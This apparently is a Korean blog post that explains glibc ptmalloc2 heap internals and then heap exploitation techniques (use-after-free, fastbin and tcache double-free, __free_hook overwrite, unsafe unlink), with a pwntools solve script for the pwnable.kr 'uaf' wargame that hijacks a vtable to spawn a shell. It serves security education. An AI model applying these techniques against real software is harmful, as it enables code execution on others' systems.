동적 할당 메커니즘에서는 성능을 위해 free 된 청크들을 재활용 합니다. 만약 이런 재활용 없이 시스템콜을 통해 매번 메모리를 할당받거나 반환한다면 유저-커널모드 전환 비용으로 인해 성능 하락이 심해집니다.

그래서 메모리 할당자는 기존 메모리 영역 재사용을 위한 힙 자료구조와 그에 맞는 최적의 힙 관리 알고리즘을 구현해놨습니다.

이번 포스팅에선 이러한 구조에 대해 이해하고 어떻게 exploit 할 수 있는지 알아보려 합니다.

이번에 살펴볼 메모리 할당자는 ptmalloc2 입니다. dlmalloc, TCMalloc 도 있지만, ptmalloc2 는 glibc 의 기본 할당자로 오랫동안 사용되어왔고, 리얼월드에서도 많이 쓰입니다.

ptmalloc2의 가장 큰 특징은 멀티스레드 최적화입니다. 여러 스레드가 동시에 malloc()을 호출하면, 각 스레드마다 힙 세그먼트가 생성되고 Arena가 해당 영역을 관리하기 때문에 각 스레드는 lock 경합을 최소화하면서 로컬 힙에 접근할 수 있습니다.

버전에 따라 구현 방식에 약간의 차이가 있지만 기본적인 힙 구조는 크게 다르지 않습니다.

기본 개념

Arena

Arena는 힙 영역과 힙 영역을 관리하기 위한 메타데이터를 묶어서 부르는 단위입니다. main_arena는 malloc_state 구조체로 구성되며, brk 시스템 콜을 사용해 힙을 확장합니다.

스레드가 늘어나면 mmap으로 새로운 Arena를 생성합니다.

Arena의 최대 갯수는 코어 수에 따라 정해집니다.

32비트: 2 * 코어 수
64비트: 8 * 코어 수

// https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L1678
struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

여기서 fastbinsY와 bins는 free된 청크들을 보관하는 구조입니다.

Chunk

malloc() 수행 후 반환되는 포인터가 가르키는 실제 주소는 malloc_chunk 구조체입니다.

다만 개발자가 받는 주소는 청크의 시작이 아니라, 헤더(prev_size, size)를 건너뛴 영역의 주소입니다.

// https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L1067
struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

`prev_size`

prev_size 필드는 현재 청크 기준으로는 앞 청크의 크기를 담고, 다음 청크 기준으로는 현재 청크의 크기를 알려주는 2가지 역할을 동시에 합니다.

할당자는 PREV_INUSE 플래그가 0일때 앞뒤 양방향으로 근접한 청크를 찾아낼 수 있습니다. 병합할 때 앞 청크 주소를 계산하려면 현재 청크 주소 - prev_size 연산을 해주면 됩니다.

`size`

청크 크기의 최소 단위는 2 * SIZE_SZ 이기 때문에 32비트에서는 8바이트, 64비트에서는 16바이트 단위로 사이즈가 맞춰지게 됩니다.

이렇게 되면 size 필드의 하위 3비트는 항상 0이 되기 때문에 이 비트들을 플래그로 사용합니다.

(100) NON_MAIN_ARENA: main arena 소속이 아닌 청크
(010) IS_MMAPPED: mmap으로 단독 할당된 청크
(001) PREV_INUSE: 이전 청크가 사용 중임을 나타냄

여기서 PREV_INUSE 가 0일 때 prev_size가 유효하며, 할당자는 PREV_INUSE 플래그를 보고 이전 청크와 병합할지 결정하기 때문에 이 이 둘을 조작하면 할당자가 엉뚱한 위치를 청크로 인식하게 만들 수 있습니다.

fd, bk

fd와 bk는 청크가 사용 중일 때는 유효하지 않습니다.

여기는 사용자 데이터로 채워져 있다가 청크가 free될 때 이 위치에 bin 연결을 위한 포인터가 저장됩니다.

인접한 청크의 fd나 bk를 덮어쓰면 bin의 연결 구조 자체를 조작할 수 있습니다.

`free()` 호출 시 거치는 검증

free()는 실제로 free 시키기 전에 몇 가지를 검증을 수행합니다.

검증이라고 해도 사실 “명백하게 잘못된 경우"만을 걸러내는 최소한의 장치기 때문에 전부 통과해도 실제론 정상적인 청크가 아닐 수도 있습니다.

정렬 검사: malloc()은 항상 정렬된 주소를 반환하므로, 정렬이 안 맞으면 malloc()이 반환한 포인터가 아니라고 판단합니다.
size 필드 범위 검사: 청크 크기가 최솟값보다 작거나, 너무 커서 주소 공간을 벗어나거나, 정렬 단위에 맞지 않으면 비정상적인 청크라고 판단합니다.
arena 경계 검사: 해당 청크가 현재 arena가 관리하는 힙 범위 안에 있는지 확인합니다.
double free 검사: 바로 다음 청크의 PREV_INUSE 비트를 읽습니다. 현재 청크가 이미 free된 상태라면 이 비트가 0으로 되어 있어야 하므로, 여기서 0이 나오면 double free로 판단합니다. 단, 이 검사는 fastbin이나 tcache 경로가 아닌 일반 bin 에서만 유효합니다.

Bin

bin은 해제된 청크들의 연결 리스트입니다.

malloc()은 요청을 받으면 OS에 새 메모리 영역을 요청하기 전에 먼저 bin을 뒤져 재사용 가능한 청크가 있는지 확인합니다.

bin의 구조를 이해하는 것이 중요한 이유는, 대부분의 힙 익스플로잇이 bin의 포인터를 조작하여 임의의 주소를 malloc()의 반환값으로 받아내는 방식으로 이뤄지기 때문입니다.

glibc 2.23 기준으로는 네 종류의 bin이 있습니다.

Bin 번호	종류
bin[1]	Unsorted bin
bin[2] ~ bin[63]	Small bin
bin[64] ~ bin[126]	Large bin
별도 배열	Fastbin

bin은 first-fit 알고리즘을 사용합니다. 요청 크기를 충족하는 첫 번째 청크를 바로 반환합니다.

tcache 도입 이후, 대부분의 일반적인 크기의 청크는 bin에 도달하기 전에 tcache에 먼저 들어갑니다.

각 bin에 대해선 아래에서 이어 설명하겠습니다.

Unsorted Bin

새로 free된 청크는 small/large bin 중 어디로 가야 하는지 바로 분류되진 않고 일단 Unsorted Bin 에 쌓입니다. 분류는 나중에 malloc()이 호출될 때 일어나게 됩니다.

malloc() 이 호출될 때, Unsorted Bin 에 있는 청크들을 둘러보고 요청 크기랑 딱 맞는 청크가 있다면 바로 꺼내서 쓰고 아니라면 아래에 설명한 Small Bin 이나 Large Bin 쪽으로 옮기게 됩니다.

Unsorted Bin 의 최앞단의 청크는 fd 랑 bk 가 main_arena 쪽을 가르키게 되는데, 이 값을 읽어낼 수 있으면 libc base 를 계산할 수 있습니다.

Small Bin

Small bin은 크기별로 분류가 되는데, 64비트 기준 16바이트부터 1008바이트까지 16바이트 간격으로 존재합니다.

Small Bin은 같은 크기만 들어오기 때문에 새 청크는 그냥 리스트 뒤에 붙이면 되고, 꺼낼 때는 앞에서 하나씩 빼면 됩니다(FIFO). 그래서 정렬이 필요가 없습니다.

예전에는 fd/bk 조작으로 fake chunk를 만들어 임의 주소를 할당받거나 임의 주소에 쓰는 것이 가능했지만, 최근 glibc에서는 unlink 시 무결성 검사를 수행하므로 이렇게는 공격에 성공하기 어렵습니다.

Large Bin

Small Bin의 최대 사이즈인 1008바이트를 넘는 청크는 large bin에 들어갑니다.

한 bin 안에 크기가 제각각인 청크들이 섞여 있다 보니, 삽입할 때 내림차순 정렬을 유지합니다. 여기서 문제가 생기는데, 같은 크기의 청크가 여러 개 있으면 일일이 다 건너뛰어야 해서 느립니다.

이걸 해결하기위해 fd_nextsize / bk_nextsize 포인터가 크기가 같은 청크들은 건너뛰고, 크기가 달라지는 청크끼리만 연결합니다.

일종의 skip list 구조라서 할당 요청이 오면 이 포인터를 따라 빠르게 맞는 크기를 찾을 수 있습니다.

tcache

glibc 2.26(ubuntu 17.10)부터 도입된 tcache는 tcache_perthread_struct로 관리되며 각 스레드마다 독립적으로 존재합니다.

0x10 ~ 0x400 크기의 해제된 청크들은 tcache에 우선적으로 저장됩니다.

// https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2941
/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

청크가 free되면 먼저 tcache에 들어가고, tcache가 가득 차면 청크 크기에 따라 fastbin으로 들어가거나 unsorted bin으로 이동합니다.

이후 unsorted bin에 있던 청크들은 크기에 따라 small bin이나 large bin으로 정리됩니다.

fastbin은 old == p 비교를 통해 double free를 감지하지만, tcache는 성능을 위해 도입되었기 때문에, 초창기땐 검증 로직이 없었습니다.

물론 glibc 2.29부터 double free 탐지가 추가되었지만, 그 이전 버전에서는 검증이 사실상 없었습니다.

Exploitation

이제 위에서 설명했던 힙 구조가 어떻게 공격에 활용되는지 보겠습니다.

Use After Free (UAF)

free()는 메모리를 OS에 즉시 반납하지 않습니다.

할당자는 해당 영역을 bin에 보관했다가 같은 크기의 요청이 들어오면 재사용합니다. 문제는 free가 메모리를 초기화하지 않는다는 점입니다.

free() 이후에도 기존 포인터로 해당 영역을 참조하거나 덮어쓰는 것이 가능하고, 이후 같은 주소가 다시 할당되면 두 포인터가 같은 메모리를 가리키게 됩니다.

pwnable.kr uaf 문제를 한번 풀면서 다시 설명하겠습니다.

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

C++에서 가상 함수가 있는 클래스는 컴파일 타임에 vtable이 생성됩니다. 현재 Man 과 Woman 의 첫 8바이트는 vtable 포인터이고, introduce() 호출 시 객체 +0 에서 vtable 주소를 읽어서 +8 주소로 점프합니다.

case 3으로 m, w를 delete하면 힙 청크가 반환되지만 포인터가 null이 되지는 않습니다. 이후 case 2를 두 번 호출하면 할당자가 같은 청크를 재사용하면서 파일에서 읽은 값인 give_shell - 0x8 주소가 원래 vtable 포인터 자리에 덮어써집니다.

case 1에서 m->introduce()가 호출되면 vtable+0 에서 give_shell - 0x8 주소를 읽고, 거기서 +8 주소인 give_shell()로 점프합니다. vtable 포인터 자체의 무결성은 검증되지 않으므로 system("/bin/sh")가 그대로 실행됩니다.

#!/usr/bin/env python3
from pwn import *

context.log_level = "debug"

e = ELF("./uaf")
conn = ssh("uaf", "pwnable.kr", 2222, "guest")

# vtable[1]이 give_shell을 가리키도록 조작
binsh = 0x0000000000401550 - 0x8 # (*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12);

conn.process("mkdir /tmp/aaaaaa/".split(" "))
conn.process("echo -n -e '\\x48\\x15\\x40'>/tmp/aaaaaa/temp".split(" "))
proc = conn.process("/home/uaf/uaf 8 /tmp/aaaaaa/temp".split(" "))

# free -> 재할당 -> 재할당 -> use
proc.sendline("3\n2\n2\n1")
proc.interactive()

Fastbin Duplication

같은 청크가 double free 되면 fastbin 리스트에 동일한 청크 주소가 두개 들어갑니다.

fastbin에는 old == p 비교가 있어 연속된 동일 청크 free를 감지하지만, 중간에 다른 청크를 끼워서 free 해주면 우회할 수 있습니다.

A 청크를 double free 했고 B청크를 그 사이에 free 했다고 가정하면 malloc() 호출시 A가 반환됩니다.

그런데 A는 여전히 fastbin에도 남아 있으므로, 반환받은 A의 사용자 데이터 영역이 곧 fastbin 상의 A의 fd 포인터와 같은 위치입니다. 여기에 원하는 target 주소를 쓰면 fastbin이 head -> B -> A -> target으로 바뀝니다.

이후 malloc()을 두 번 더 호출해 B와 A를 소진하면, 네 번째 malloc()이 target 주소를 반환합니다.

Tcache Duplication

glibc 2.29 전까지 tcache 는 double free에 대한 검증이 전혀 없었습니다.

이건 예시는 없지만 그냥 설명해보겠습니다. 만약 A를 더블 프리하게 되면 tcache bin의 상태는 head -> A -> A -> 루프... 로 변합니다.

이 상태에서 malloc()으로 동일한 크기를 할당 받아 fd 포인터를 원하는 주소로 덮어쓰면, 이후 두번 malloc() 을 호출해주면 마지막에 그 주소가 반환됩니다.

__free_hook / __malloc_hook Overwrite

glibc 2.34 이전까지는 내부적으로 디버깅을 위해 __free_hook, __malloc_hook 같은 함수 포인터를 제공했었습니다. 이 포인터가 NULL이 아니면 free(), malloc() 호출 시 해당 포인터를 먼저 실행하게 됩니다.

libc base 주소를 leak하면 __free_hook의 절대 주소를 계산할 수 있습니다.

여기에 tcache duplication 같은 기법을 조합하여 __free_hook 주소를 malloc()에서 반환받은 뒤 system() 함수 주소를 써넣으면, 이후 free(ptr)가 호출될 때 ptr을 인자로 system()이 실행됩니다.

추가로 ptr이 "/bin/sh" 문자열을 담고 있다면 셸을 얻을 수 있습니다.

2.34 이후론 보안 이슈로 인해 삭제되었습니다.

Unsafe Unlink

단일 연결 리스트 bin(fastbin, tcache)을 제외한 bin에서 병합이 일어날 때 unlink가 수행됩니다.

FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

Unsafe Unlink는 이 병합 과정에서 공격자가 chunk의 fd, bk 를 조작해 unlink가 임의 주소에 write 하도록 만드는 기법입니다.

현재 glibc 는 unlink 를 진행하기 전 두가지 검사를 진행하는데 모두 충족해줘야 unlink가 진행됩니다.

if (__builtin_expect (chunksize(P) != prev_size(next_chunk(P)), 0))

현재 청크의 size 필드와 다음 청크의 prev_size 필드가 일치해야 합니다. 만약 fake chunk 를 만들 때 size만 맞추고 다음 청크의 prev_size 를 맞춰주지 않으면 여기서 터집니다.

FD = P->fd;                                                               
BK = P->bk; 
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

현재 청크 앞에 있는 청크의 bk 는 현재 청크를 가르키고 있어야하고 뒤에 있는 청크의 fd 는 현재 청크를 가르켜야 합니다.

두 번째 검사를 통과하려면 P 자신의 주소를 알아야 fd, bk를 역산할 수 있는데, chunk_ptr(P를 가리키는 포인터)가 전역변수에 있으면 정적 주소라 leak 없이 바로 계산 가능하지만, 스택이나 힙에 있으면 해당 주소를 먼저 leak해야 합니다.

예전에 풀었던 pwnable.kr unlink Writeup을 가져올까 했지만 제생각엔 완전한 unlink 문제라기엔 좀 부족한거 같아 뺐습니다.

읽어주셔서 감사합니다.

기본 개념#

Arena#

Chunk#

prev_size#

size#

fd, bk#

free() 호출 시 거치는 검증#

Bin#

Unsorted Bin#

Small Bin#

Large Bin#

tcache#

Exploitation#

Use After Free (UAF)#

Fastbin Duplication#

Tcache Duplication#

__free_hook / __malloc_hook Overwrite#

Unsafe Unlink#